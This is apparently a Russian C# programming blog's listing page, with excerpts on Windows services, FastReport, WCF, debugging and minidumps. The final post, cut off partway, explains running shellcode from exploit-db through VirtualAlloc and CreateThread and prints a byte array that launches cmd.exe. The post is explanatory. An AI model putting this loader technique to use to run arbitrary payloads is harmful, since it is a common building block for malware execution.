Показаны сообщения с ярлыком C#. Показать все сообщения
Показаны сообщения с ярлыком C#. Показать все сообщения

19 августа 2019 г.

Windows Service создание, изменение и удаление службы из services.msc (на языке C#)

Консольная утилита sc.exe

В составе операционной системы Windows идёт утилита sc, которую можно без проблем вызвать в командной строке sc /?. С её помощью можно изменить любые свойства сервиса. Описание на сайте Microsoft [ссылка].  Примеры:
  1. Создание службы (sc create):
    sc create NewService DisplayName="New Service" binpath=c:\windows\system32\NewServ.exe type=share start=auto
  2. Изменение службы (sc config):
    sc config NewService binpath= "c:\windows\system32\NewServ.exe"
  3. Удаление службы (sc delete):
    sc delete newserv
Для работы с sc следует понимать одну вещь, что у службы есть идентификатор (Service Name) и имя службы (Display name), все изменения делаются используя идентификатор, который можно посмотреть в свойствах службы, пример:

29 октября 2018 г.

Решение нетипичных проблем с FastReport.

Статья будет состоять из способов решения проблем с FastReport ver. 2018.3.20. Проблемы изложенная тут может быть исправлена в последующих версиях FastReport либо отсутствовать в прошлых. Так же не исключаю, что я могу не знать что то, тогда если вам известно решение, то буду рад комментариям. Заранее Спасибо! 

Темы описанные в статье:
  1. Автоматическая высота строки для текста не помещающегося в ячейку.
  2. Как обойти в коде все строки таблицы DataSource.
  3. Как использовать Linq или подключить сборки в отчёт FastReport.
  4. Объединение ячеек таблицы.
  5. Не работающий междустрочный интервал.
  6. Примеры использования условного оператора IIF(,,) в дизайнере отчёта.
  7. Сортировка и группировка данных в таблице отчёта.
  8. При экспорте в Excel или в Html большой таблицы, ячейки начинают биться либо появляется разделительная линия.

7 октября 2018 г.

Треугольник Серпинского методом хаоса. Программа на C# с исходным кодом.

Предыстория


Просматривая youtube, я наткнулся на интересное видео, в котором был показан пример создания фракталов используя очень простые правила:
  1. Мы имеем несколько опорных точек на плоскости. Все они пронумерованы.
  2. Устанавливаем начальную произвольную точку с которой начнётся построение. Будем её называть текущей точкой.
  3. Возьмём генератор случайных чисел в дапозоне от 1 до количества опорных точек. В зависимости от сгенерированного числа выбираем опорную точку под этим номером, после чего строим новую точку по середине (1/2 расстояния) от текущей до опорной точки. Это будет новая текущая точка для следущей итерации, после чего операцию повторяем действия до бесконечности.
Ссылка на то видео:



11 сентября 2018 г.

Сетевые шахматы (Network Chess). С исходным кодом на C# скачать бесплатно.


Описание


Представляю Вашему вниманию приложение "Сетевые шахматы" написанные на языке C#. Состоит оно из отдельной клиентской и серверной части. Сам проект был достаточно интересен, поскольку потребовал материального мира для упрощения написания тестов, а именно, для их написания ставил перед монитором доску и вводил видимые координаты и доступные шаги фигур. Выглядело это примерно вот так:


Сразу скажу, что я не профессиональный игрок по шахматам и всех правил могу не знать. Дайте знать если я что то пропустил.

21 июня 2018 г.

Анти-АФК для World of Warcraft (Classic) на C#

Исполняемый файл:

https://drive.google.com/drive/folders/1JFV_2pdoLaLF_gDXPUHB9Zz4hpjjjIf9?usp=sharing




Требуемая версия установленного Framework.
.NET Framework 4.0

Исходный код:
[Source Code]

Использовать на свой страх и риск.

Как работает программа wow anti afk.


Программа не имеет графического интерфейса. Её достаточно запустить, и она будет всем отрытым окнам World of Warcraft отправлять перемещение вперёд и назад до момента закрытия. Для остановки просто закройте окно консольного приложения.

14 октября 2017 г.

Симулятор игры "Жизнь" ("Game of life") на WPF

Все игры:

Исходный код:

Скачать




Game of life.zip
Скомпилированная версия

.NET Framework 4.0
Требуемая версия установленного Framework.

Однажды, просматривая видео на youtube, я наткнулся на крайне занимательный рассказ про клеточные автоматы. Они мне настолько понравилось, что захотелось самому увидеть их работу, а так же реализовать алгоритм на языке C#. Ссылка на то видео:


В нём достаточно хорошо все рассказано, поэтому в данной статье будет только краткое описание алгоритма и пример реализации.

Алгоритм (правила) работы клеточных автоматов.

Действие разворачивается на бесконечном поле в решётку. На каждом кадре анимации (называемом поколением), мы обходим все ячейки и вычисляем количество стоящих по периметру закрашенных клеток. Посчитав, выполняем два правила:
  1. Клетка закрашена. Если вокруг клетки ровно 2 или 3 закрашенные клетки, тогда с ней ничего не случается и она живёт, иначе становится пустой.
  2. Клетка пустая. Если вокруг ровно 3 закрашенные клетки, тогда в клетке зарождается жизнь и она становится закрашенной.

Пример на C# + WPF.


Исходный код своего проект я разместил на bitbucket.org, ссылка на проект размещена в начале статьи. Так же можно скачать (выше) собранную версию, но для её работы необходимо наличие предустановленного .NET Framework 4.0.

Интерфейс программы:



25 июля 2017 г.

WCF. Callback через BasicHttpBinding без дуплексной связи.

Оглавление:

  1. WCF service. С чего начать. Основные моменты создание службы. 
  2. WCF. Callback через BasicHttpBinding без дуплексной связи.
  3. Realtime WCF Tracker вызовов клиентского приложения.
  4. Как отключить публикацию метаданных mex WCF сервисом. 

В данной статье я хочу поделиться с вами примером того, как можно в WCF инициировать передачу данных с сервера на клиент используемые BasicHttpBinding в качестве привязки для взаимодействия.
Как вам должно быть известно, для того, что бы сервер выступа в качестве инициатора передачи данных на клиент используя WCF, ему надо использовать одну из схем ниже:
  • Производить подключение к клиенту самостоятельно в ответ на вызов клиента (что выглядит глупо).
  • Использовать Duplex связь, которая была создана специально для этого.
    [ServiceContract(CallbackContract = typeof(ICallback))]
    internal interface IMyContract
    {
    }
Duplex связь покрывает наши запросы, но есть одно "но" - привязка (Binding) должена поддерживать работу с использованием сессии. А BasicHttpBinding (на основе протокола HTTP) в силу своей природы не может поддерживать сессию (постоянное TCP соединение), так как работает по схеме "Запрос-ответ". Как же тогда поступить?

WSDualHttpBinding привязка.


Для работы через HTTP транспорт, с возможностью использования Duplex связи, специально был создан WSDualHttpBinding, который, для имитации сессии, используя HTTP заголовок, добавляя туда техническую информацию. А для обратного соединения сам создаёт подключение к клиенту. Замечу, что обратное соединение создаётся через WCF engine, и используется как при работе с любой другой привязкой, а не программистом, при первом подключении клиента. В качестве обратного соединения используются подключения на 80 (по умолчанию) порт клиента со стороны сервера, когда надо передать данные.
Все было бы хорошо, но в какой то момент, может возникнуть ситуация, когда клиент будет находиться за NAT, что приводит к невозможности подключиться к нему сервером. Почему? Читайте как работает NAT, он разрешает соединения из внутренней сети, но запрещает подключения из внешней (за маршрутизатором).  В это случае выходом может быть лишь привязки на основе протокола TCP (NetTcpBinding), в которые, для обратного и прямого соединения, используется одно TCP соединение. Но что, если нам нужно как то через HTTP производить обратный вызов клиента.

2 июля 2017 г.

WCF service. С чего начать. Основные моменты создание службы.

Примеры, которые используются тут, можно скачать по ссылке:

https://bitbucket.org/sergey_vaulin/wcf-examples/src

Еще ссылки:

  1. WCF service. С чего начать. Основные моменты создание службы. 
  2. WCF. Callback через BasicHttpBinding без дуплексной связи.
  3. Realtime WCF Tracker вызовов клиентского приложения.
  4. Как отключить публикацию метаданных mex WCF сервисом.  

Оглавление статьи:

  1. Что такое endpoint?
  2.  Способы общения клиента с сервисом. 
  3. Канал связи клиента и сервера.  
  4. Надежные каналы связи (reliableSession).
  5. Управление состоянием службы.
  6. Управление созданием экземпляров службы.
  7. Управление временем жизни экземпляра службы атрибутами контракта.
  8. Режимы параллельной работы с экземплярами службы
  9. Регулирование нагрузки.
  10. Обработка исключений.  
  11. Обработка исключений. Продолжение работы с посредником если используется HTTP транспорт.
  12. Обработка исключений. Обертывание всех исключений в FaultException, используя IErrorHandler.
  13. Закрытие канала посредника.
  14. Использование общей сборки с контрактами.
  15. Как убрать Web Reference. Использование общей сборки с контрактами.

Введение


В данной статье хочу описать настройки, которые разработчику следует знать  перед началом создания сервиса и клиента к нему. Я исхожу из того, что читатель уже имеет представление о WCF, пользовался какими то наработками, но не углублялся в настройки Binding и сервиса.
  • Если вы являетесь новичком и хотели бы увидеть примеры служб и работу с ними, перед прочтением советую скачать и посмотреть примеры Windows Communication Foundation (WCF) and Windows Workflow Foundation (WF) Samples for .NET Framework 4/ созданные Microsoft.
  • Из книг советую читать "Создание служб WCF (Джувел Леве)", на основе которой, а так же собственном опыте будет писаться данная статья.
  • Для демонстрации можно использовать мои примеры из проекта, ссылка на который в начале статьи. 
Я не буду расписывать все процессы создания с нуля. Тут будет представлены только наиболее интересные, на мой взгляд, понятия и настройки, о которых узнал после прочтения книги, просмотра описаний на msdn и написании примеров для демонстрации.
По каждой теме я старался не просто написать определение, а сделать реальный пример с демонстрацией, что бы все стало ясно.

Основные понятия и настройки.


Что такое endpoint?


Конечной точкой называется совокупность трех элементов:
  1. Адрес сервиса. Подразумевается, что это URL, по которому располагается сам сервис.
  2. Контракт сервиса.
  3. Binding - содержит настройки работы с сервисом, протокол взаимодействия, Timeouts операций и т.д.


Способы общения клиента с сервисом.


В WCF существует три способа общения, которые обязательно надо знать:
  1. Request-reply (запрос-ответ) - это когда с клиента делает вызов метода контракта Method(), текущий поток останавливается и ждет, пока сервер обработает ваш вызов и вернет ответ и управление. При этом все происходит в синхронном режиме, вы не сможете продолжить выполнение пока не получите ответа. Если происходит исключение на стороне сервера, то оно прилетит на клиента.
  2. OneWay (или datagram) - данный способ отличается тем, что вызываемая метод контракта сторона (это может быть клиент, или сервер при дуплексной связи), не останавливается при вызове, а продолжает выполнение. Как если бы вызов практически сразу вернул результат. Иными словами мы в любом случае ожидаем доставки SOAP сообщения на противоположную сторону, но не ожидаем получения результата в ответ.
    Возможны ситуации, когда и при таком взаимодействии тоже произойдет блокировка потока на вызываемой стороне:
    • Когда при вызове, на сервере мы упираемся в какой то нагрузочный maxConcurrent* придел сервиса и наше сообщение с вызовом помещается в очередь на обслуживание. В этом случае мы будем ожидать пока вызов не встанет в обработку либо отвалимся по Timeout.
  3. Duplex - это взаимодействие в обе стороны, когда клиент может вызывать методы сервера, а сервер, используя callback контракт, может вызывать методы клиента. Что бы это понять представьте чат, вы можете напечатать сообщение и отослать его на сервер, но что делать, если сообщение напишут вам? В этом случае сервер должен инициировать передачу на ваш компьютер. Как раз таки для этого он будет вызывать callback контракта, который задается отдельно, что бы уведомить вас.


Как реализуются данные схемы общения.

  1. Request-reply. Данное поведение является "по умолчанию".

    [ServiceContract]
    internal interface IMyContract 
    {
        [OperationContract]
        void Method();
    }
    
  2. OneWay. Для того, что бы метод контракта или callback контракта стал односторонним, достаточно указать IsOneWay = true.
    [ServiceContract]
    internal interface IMyContract
    {
        [OperationContract(IsOneWay = true)]
        void Method();
    }
    
  3. Duplex. Для реализации используется свойство атрибута под названием CallbackContract.
    
    
    [ServiceContract(CallbackContract = typeof(ICallback))]
    internal interface IMyContract
    {
        [OperationContract]
        void Method1();
     
        [OperationContract(IsOneWay = true)]
        void MethodOneWay1();
    }
     
    [ServiceContract]
    internal interface ICallback
    {
        [OperationContract]
        void Method2();
     
        [OperationContract(IsOneWay = true)]
        void MethodOneWay2();
    }

6 июня 2017 г.

Как отключить публикацию метаданных mex WCF сервисом.

Оглавление:

  1. WCF service. С чего начать. Основные моменты создание службы. 
  2. WCF. Callback через BasicHttpBinding без дуплексной связи.
  3. Realtime WCF Tracker вызовов клиентского приложения.
  4. Как отключить публикацию метаданных mex WCF сервисом. 

Публикация метаданных вашего сервиса может снизить безопасность системы. Ведь вы предоставляете возможность узнать всю необходимую для работы с ним информацию. При этом, отсутствие возможности получить информация никак не влияет на его работу. Поэтому хотелось бы рассказать как убрать публикацию метаданных сервиса, если не вы их включали. Для начала стоит знать, что метаданные могут быть доступны двумя способами:
  • Через HTTP-GET .
  • И через специально подготовленную Endpoint для MEX, используя IMetadataExchange.
На MSDN есть две статьи, описывающие наоборот, оба процесса настройки. Поэтому можно опираться и на них:

1. Проверяем файл конфигурации сервера.
1.1 Ищем HTTP-GET

Открываем файл конфигурации, в котором хранятся настройки для ваших сервисов. И ищем раздел  <serviceBehaviors

<system.serviceModel>
    <behaviors>
      <serviceBehaviors>
        <behavior name="SERVICEMETADATANAME">
          <serviceMetadata httpGetEnabled="true" httpsGetEnabled="true" />
        </behavior>
      </serviceBehaviors>
    </behaviors>
  </system.serviceModel>

Если таковой имеется, тогда ищем tag <behavior/>, у которого внутри есть <serviceMetadata />. Значения атрибутов http(s)GetEnabled="True" говорят о том, что все <services />, у которых задано <service behaviorConfiguration="SERVICEMETADATANAME"  />, будут публиковать свои метаданные. Поэтому для того, что бы отключить публикацию достаточно задать:<serviceMetadata httpGetEnabled="false" httpsGetEnabled="false" />
ВНИМАНИЕ! Если используется пустое значение name <behavior name="">, это говорит о том, что данное поведение будет применено ко ВСЕМ Endpoint вне зависимости от того, где происходит инициализация ServiceHost. Ещё одно замечание, Endpoint не может работать одновременно в режиме httpEnabled="false" и httpsEnabled="true" поэтому надо менять оба параметра.
 Запускаем Web сервер. Если при обращении к сервисам получаете сообщение
"Metadata publishing for this service is currently disabled", значит все сделано правильно.

4 июня 2017 г.

WSDL import в Visual Studio из файла или текста.

Когда пишется Web сервис, разработчику стоит задуматься о безопасности. Один из простых способов это скрытие из публичного доступа WSDL информации. Поэтому представьте ситуацию: вы интегрируетесь с какой то внешней системой. Разработчики этой системы присылают .docx файл с документацией к ней. Внутри содержится текст XML <wsdl:definitions /> и сразу встает вопрос, как же это использовать.
  1. Первым делом выделяем всю XML из документа, копируем и сохраняем в отдельном файле с расширением .asmx.
  2. Далее отрываем Visual Studio жмем по References правую кнопку и выбираем "Add Service Reference..."
  3. В отрывшемся окне добавления ссылки в поле Address вводим строку формата "file://PATH.asmx" жмем GO и видим, что студия успешно считала содержащуюся в файле информацию о сервисе.
  4. После нажатия на можно начать работу со службой, передав в класс посредник её адрес. Пример создания клиента указан ниже:

23 мая 2017 г.

Инструменты отладки: System.Diagnostics, Output window, DebuggerDisplay, Edit and continue, Immediate Window и т.д

В данной статье я опишу способы, как упростить себе процесс создания приложения. Перечислю инструменты, которыми активно пользуюсь и опишу ситуации в которых они мне пригодились. Приступим!

Пространство имен System.Diagnostics 


Если говорить о инструментарии, который уже имеется в составе .NET Framework, тогда речь пойдут о классах лежащих в пространстве имен System.Diagnostics.* . Из всего многообразия классов я выделю только те, которые помогут нам в разработке.

Класс взаимодействия с отладчиком (Debugger).


Самый часто используемый мной класс это Debugger, дающий возможность взаимодействовать с отладчиком студии и постараюсь описать ситуации использования отдельных методов этого класса.

Метод Debugger.Launch() 


Launch
работает так по правилам:
  • Если вы находитесь в режиме отладки, то при вызове этого метода ничего происходить не будет
  • Если запустить ваше приложение вне студии, то при вызове этого метода появится диалог с предложением использовать один из предложенных в списке отладчиков. При этом продолжить работу без использования отладчика невозможно.

Простенький пример консольного приложения:

using System.Diagnostics;
 
namespace DebugFeatures
{
    internal class Program
    {
        private static void Main(string[] args)
        {
            Debugger.Launch();
        }
    }
}
 
Запустив по F5 в студии вы ничего не заметите, но запусти в проводнике увидите диалог:

В котором можете выбрать либо уже запущенную студию (у меня это 1-я строка), либо использовать новый экземпляр студии по вашему выбору.
Внимание! Если "New instance Microsoft ....", тогда весь код проекта будет не доступен. Поэтому желательно выбирать студию с отрытым вашим проектом.
Теперь по поводу жизненных ситуаций, когда этот метод пригодится:
  • При отладке двух процессов, когда ваше приложение запускает второе приложение, которое быстро "что то делает" и закрывается. При этом вы не успеваете сделать Debug -> Attach to process.
  • Допустим вы являетесь разработчиком какого то расширения или add-on для какой то системы. При запуске система подгружаете ваш модуль в память и передает ему управление. Встает вопрос, как же теперь отлаживать ситуацию в момент запуска модуля? В этом случае добавляем в код метода Debugger.Launch() и в момент запуска получаем возможность отладить процесс запуска.
    P. S. Если вы пользуетесь Thread.Sleep(15000) + Attach to process, то мои вам соболезнования :)
Важно! Стоит помнить что даже в релизной сборке будет отображаться окно с отладчиками, поэтому не забывайте удалять Debugger.Launch(), когда надобность в нем отпадает.
 

Метод Debugger.Break()


Break работает по правилам:
  • Если отладчик подключен, то происходит остановка при вызове методе, сравнимая остановке на breakpoint.
  • Если же отладчик не подключен и вызывается метод Break(), тогда будет показано окно с выбором отладчика, но при этом закрыв его приложение продолжит работу.

Пример кода:

using System.Diagnostics;
 
namespace DebugFeatures
{
    internal class Program
    {
        private static void Main(string[] args)
        {
            int a = 1;
            while (a < 10 * 1000 * 1000)
            {
                a ++;
                if (a == 9*999* 999)
                {
                    Debugger.Break();
                }
            }
        }
    }
} 
 
На практике использовал этот метод довольна редко, но было дело, что студия "глючила" и breakpoint слетали после перезапуска. Выходом был этот метод.

 Output window и класс Debug.


Мне кажется, что люди не дооценивают окно Output внутри Visual Studio убирая его с рабочего пространства, а ведь это просто идеальная консоль для вывода событий происходящих в приложении и просто спасительный круг, если вы отлаживаете сложное многопоточное приложение. Либо пытаясь распутать какие то ситуации, где требуется анализ параметров и локальных переменных, что бы понять причину неисправности. Сейчас я постараюсь продемонстрировать как использовать Output, но при этом не загромождать им место.
Наблюдение показывает, что у всех программистов, которых я видел одна из ситуаций ниже:
  • Окно Output не присутствует на видимом рабочем пространстве. А находится где то снизу на вкладках, при этом программист может иногда поглядывать туда.
  • Окно Output всегда видно, но имеет настолько малый размер, что в нем ничего не понятно. При сборке что то мелькает, а на вопрос "Зачем тебе оно если ничего не понятно?" получал ответ "Что бы знать, что студия не подвисла и было на что поглядеть". 
  • Последний вариант, программист активно пользуется им и читает, что пишется в окне. Но при этом в окне два scroll умещается 4-6 строчек, а при работе приложение внутри мелькает текст и бедняга программист пытается найти нужное место.
Если вы из пункта 3 тогда хотел бы предложить мой способ размещения окна, которым я пользуюсь и перенастраиваю везде уже так в течении 5 лет. На всё про всё уходит 5-10 минут, но бывают и такие которые годами будут пользоваться неудобным интерфейсом или способом, при этом зная, что правится проблема в считанные минуты, но человеку "Лениво разбираться" :)

17 мая 2017 г.

MiniDumpWriteDump. Создаём minidump на C#.

Что такое minidump?

Minidump - это, в зависимости от запроса, полный или частичный "слепок" оперативной памяти работающего процесса с сохранением полного или частичного состояния на момент получения снимка.
Как это можно поможет в работе? Дело в том, что minidump можно создавать самому, а начиная с Framework 4.0 - Visual Studio при открытии minidump файла может показать точку останова, стек вызова и даже локальные процессы. Если конечно их не убрал /Release оптимизатор. Иными словами мы увидим такую же картину, как если бы мы работающее приложение поставили на паузу и решили посмотреть стек.
Заинтересовало не так ли? Тогда приступим!

Способы создания.

Известные мне способы создания дампа:
  1. Создание дампа внутри вашего приложения вызывая метод MiniDumpWriteDump из dbghelp.dll.
  2. Используя какие то внешние (out of process) утилиты:
    Стандартный диспетчер задач, Process Explorer или Process Hacker и т.д

Создание Minidump внутри приложения


Для создания дампа внутри нашего приложения нам необходимо всего лишь вызвать функцию MiniDumpWriteDump из библиотеки dbghelp.dll, которая есть у всех, или почти всех, версий Windows. Из отличий версий могут быть только флаги параметра, которые добавлялись в ходе развития библиотеки.
Зачем создавать дамп из тела приложения? Создание таким образом дает возможность контролировать место останова, для дальнейшего анализа дампа. Дампы созданные из диспетчера задач не могу гарантировать, что при открытии в студию вы попадете в "полезное" место и в котором будет все, что требуется для решении вашей задачи или проблемы.

Я создал простенькое консольное приложение для демонстрации работы:
  1. Код  метода Main():
    namespace Dumper
    {
        using System;
        using System.IO;
        using System.Linq;
        using System.Runtime.CompilerServices;
        using System.Threading;
        using Dumps;
        
        internal static class Program
        {
            private static bool _stopThread;
     
            /// <summary>
            /// Entry point.
            /// </summary>
            static void Main(string[] args)
            {
                Directory.GetFiles(DumpUtils.DumpDirectory).ToList().ForEach(File.Delete);
                CreateThread();
                TestMethod();
                _stopThread = true;
            }
     
            private static void CreateThread()
            {
                new Thread(() =>
                {
                    while (!_stopThread)
                    {
                        Console.WriteLine("while(true)");
                    }
                })
                {
                    Name = "While(true) thread"
                }.Start();
            }
     
            [MethodImpl(MethodImplOptions.NoOptimization)]
            private static void TestMethod()
            {
                var dateTime = DateTime.Now;
                try
                {
                    Console.WriteLine(dateTime);
     
                    int someDouble = 0;
                    someDouble = 10 / someDouble;
                }
                catch (Exception)
                {
                    DumpUtils.WriteDump();
                }
            }
        }
    }
    
  2. Код класса создающий Minidump файл:
    namespace Dumper.Dumps
    {
        using System;
        using System.Diagnostics;
        using System.IO;
        using System.Reflection;
        using System.Runtime.CompilerServices;
        using System.Runtime.InteropServices;
     
        /// <summary>
        /// Minidump support tools.
        /// </summary>
        public static class DumpUtils
        {
            /// <summary>
            /// Folder for saved minidumps.
            /// </summary>
            public const string DumpDirectory = "Minidump";
     
            [DllImport("dbghelp.dll")]
            private static extern bool MiniDumpWriteDump(IntPtr hProcess, int processId, IntPtr hFile, int dumpType,
                IntPtr exceptionParam, IntPtr userStreamParam, IntPtr callStackParam);
     
            /// <summary>
            /// Write minidump to file.
            /// </summary>
            /// <param name="minidumpType">Minidump flag(s).</param>
            [MethodImpl(MethodImplOptions.NoOptimization)]
            public static bool WriteDump(
                MinidumpType minidumpType = MinidumpType.MiniDumpWithFullMemory |
                MinidumpType.MiniDumpWithHandleData |
                MinidumpType.MiniDumpWithUnloadedModules |
                MinidumpType.MiniDumpWithFullMemoryInfo |
                MinidumpType.MiniDumpWithThreadInfo)
            {
                try
                {
                    if (!Directory.Exists(DumpDirectory))
                    {
                        Directory.CreateDirectory(DumpDirectory);
                    }
     
                    var currentProcess = Process.GetCurrentProcess();
                    var fileName = GetNewDumpFileName(currentProcess.ProcessName);
                    var currentDir = Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location);
                    var filePath = Path.Combine(currentDir, DumpDirectory, fileName);
                    var handler = currentProcess.Handle;
                    var processId = currentProcess.Id;
     
                    using (var fileStream = new FileStream(filePath, FileMode.CreateNew))
                    {
                        return MiniDumpWriteDump(
                            handler,
                            processId,
                            fileStream.SafeFileHandle.DangerousGetHandle(),
                            (int) minidumpType,
                            IntPtr.Zero,
                            IntPtr.Zero,
                            IntPtr.Zero);
                    }
                }
                catch (Exception)
                {
                    return false;
                }
            }
     
            private static string GetNewDumpFileName(string processName)
            {
                return string.Format("{0}_{1}_{2}.dmp", processName,
                    DateTime.Now.ToString("yyyy-dd-mm_HH-mm-ss"),
                    Path.GetRandomFileName().Replace("."""));
            }
        }
    }

2 мая 2017 г.

Выполнение bytecode или shellcode через VirtualAlloc и CreateThread.

Введение

Сейчас хотел бы показать интересный пример запуска нативного байт кода в управляемой куче на языке C#. Для демонстрации будут использованы примеры примитивных shellcode взятых с сайта https://www.exploit-db.com/. На данном ресурсе публикуются боевые exploit для известного программного обеспечения, а сам сайт является аналогом закрытого milw0rm. Перейдя в раздел https://www.exploit-db.com/shellcodes можно найти огромное количество shellcode для различных операционных систем, и при исполнении делающие от простого открытия диалогового окна до запуска backshell для удаленного доступа к машине. Для того, что бы последовательность байт произвела заложенные в нее действия, ее требуется поместить в оперативную память и передать ей управление, иными словами какой то поток должен сделать CALL по адресу памяти. На языках С\С++ вызов делается очень просто, указатель на блок в памяти преобразуется в указатель на метод, чаще всего void(), и делается его вызов ((void (*)())shellcode)(). Если мы те же действия хотим произвести в управляемой куче, то нам запрещено работать с указателями, но при этом никто не запрещает используя WinAPI и Marshaling заставить систему выполнить то, что мы хотим.

Как это будет работать?

Всё легко и просто, для этого нам понадобится всего две WinAPI функции.

  • VirtualAlloc - используя которую, мы разместим байт код в неуправляемой части памяти нашего приложения.
  • CreateThread - которая создаст поток исполнения, у которого в качестве "Точки входа" (стартового адреса исполнения) будет наш размещенный блок с байт кодом.

Практика.

В примере ниже будет продемонстрировано два метода, 
  • RunCmd запускает cmd.exe внутри текущего консольного приложения.
  • RunMessageBox - создает обычный MessageBox с текстом. 

Далее привожу пример моего приложения. ByteCodeExecutor - класс, который непосредственно располагает байты в памяти и создает поток

    internal static class Program
    {
        /// <summary>
        /// Entry point.
        /// </summary>
        /// <param name="args">Arguments.</param>
        private static void Main(string[] args)
        {
            if (IntPtr.Size != 4)
            {
                throw new NotSupportedException("Examples required x86 platform");
            }
 
            RunCmd();
 
            RunMessageBox();
 
            Console.ReadKey();
        }
 
        private static void RunCmd()
        {
            Console.WriteLine("Console application becomes command line");
 
            // https://www.exploit-db.com/exploits/14052/
            var bytes = new []
            {
                0xFC, 0x33, 0xD2, 0xB2, 0x30, 0x64, 0xFF, 0x32, 0x5A, 0x8B,
                0x52, 0x0C, 0x8B, 0x52, 0x14, 0x8B, 0x72, 0x28, 0x33, 0xC9,
                0xB1, 0x18, 0x33, 0xFF, 0x33, 0xC0, 0xAC, 0x3C, 0x61, 0x7C,
                0x02, 0x2C, 0x20, 0xC1, 0xCF, 0x0D, 0x03, 0xF8, 0xE2, 0xF0,
                0x81, 0xFF, 0x5B, 0xBC, 0x4A, 0x6A, 0x8B, 0x5A, 0x10, 0x8B,
                0x12, 0x75, 0xDA, 0x8B, 0x53, 0x3C, 0x03, 0xD3, 0xFF, 0x72,
                0x34, 0x8B, 0x52, 0x78, 0x03, 0xD3, 0x8B, 0x72, 0x20, 0x03,
                0xF3, 0x33, 0xC9, 0x41, 0xAD, 0x03, 0xC3, 0x81, 0x38, 0x47,
                0x65, 0x74, 0x50, 0x75, 0xF4, 0x81, 0x78, 0x04, 0x72, 0x6F,
                0x63, 0x41, 0x75, 0xEB, 0x81, 0x78, 0x08, 0x64, 0x64, 0x72,
                0x65, 0x75, 0xE2, 0x49, 0x8B, 0x72, 0x24, 0x03, 0xF3, 0x66,
                0x8B, 0x0C, 0x4E, 0x8B, 0x72, 0x1C, 0x03, 0xF3, 0x8B, 0x14,
                0x8E, 0x03, 0xD3, 0x52, 0x68, 0x78, 0x65, 0x63, 0x01, 0xFE,
                0x4C, 0x24, 0x03, 0x68, 0x57, 0x69, 0x6E, 0x45, 0x54, 0x53,
                0xFF, 0xD2, 0x68, 0x63, 0x6D, 0x64, 0x01, 0xFE, 0x4C, 0x24,
                0x03, 0x6A, 0x05, 0x33, 0xC9, 0x8D, 0x4C, 0x24, 0x04, 0x51,
                0xFF, 0xD0, 0x68, 0x65, 0x73, 0x73, 0x01, 0x8B, 0xDF, 0xFE,
                0x4C, 0x24, 0x03, 0x68, 0x50, 0x72, 0x6F, 0x63, 0x68, 0x45,
                0x78, 0x69, 0x74, 0x54, 0xFF, 0x74, 0x24, 0x20, 0xFF, 0x54,
                0x24, 0x20, 0x57, 0xFF, 0xD0
            };
 
            ByteCodeExecutor.Execute(bytes);
        }